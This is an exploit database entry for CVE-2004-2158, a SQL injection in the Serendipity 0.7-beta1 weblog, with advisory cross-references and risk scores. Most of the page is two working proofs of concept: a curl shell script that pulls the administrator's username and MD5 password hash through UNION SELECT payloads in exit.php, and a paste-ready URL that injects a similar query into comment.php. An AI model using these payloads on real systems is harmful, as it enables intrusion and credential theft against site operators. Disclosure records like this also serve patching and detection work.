S9Y Serendipity 0.7-beta1 - SQL Injection

🗓️ 28 Sep 2004 00:00:00Reported by aCiDBiTSType

Serendipity 0.7-beta1 SQL Injection proof of concept for username and password extraction.

Reporter	Title	Published	Views	Family All 6
Tenable Nessus	Serendipity < 0.7-beta3 Multiple Vulnerabilities	28 Sep 200400:00	–	nessus
Tenable Nessus	Serendipity < 0.7.0beta3 Multiple Vulnerabilities	28 Sep 200400:00	–	nessus
CVE	CVE-2004-2158	10 Jul 200504:00	–	cve
Cvelist	CVE-2004-2158	10 Jul 200504:00	–	cvelist
EUVD	EUVD-2004-2150	7 Oct 202500:30	–	euvd
NVD	CVE-2004-2158	31 Dec 200405:00	–	nvd

Proof of Concept 1
------------------


Usage: ./ser_sqli_poc.sh URL_to_Serendipity_Weblog


ser_sqli_poc.sh
---------8<-----------8<-------------
#!/bin/sh


echo -n "Username: "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20username%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
echo -n "MD5(password): "
curl -I -s "$1/exit.php?url_id=1&entry_id=1%20and%200%20union%20select%20password%20from%20serendipity_authors%20where%20authorid%3D1"
| grep Location | cut -b10-
---------8<-----------8<-------------




Proof of Concept 2
------------------


Copy&Paste this to your browser and edit URL_to_Serendipity_Weblog.

http://URL_to_Serendipity_Weblog/comment.php?serendipity[type]=trackbacks&serendipity[entry_id]=0%20and%200%20union%20select%201,2,3,4,username,password,7,8,9,0,1,2,3%20from%20serendipity_authors%20where%20authorid=1%20/*

# milw0rm.com [2004-09-28]

31 Oct 2016 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 27.5

EPSS0.04106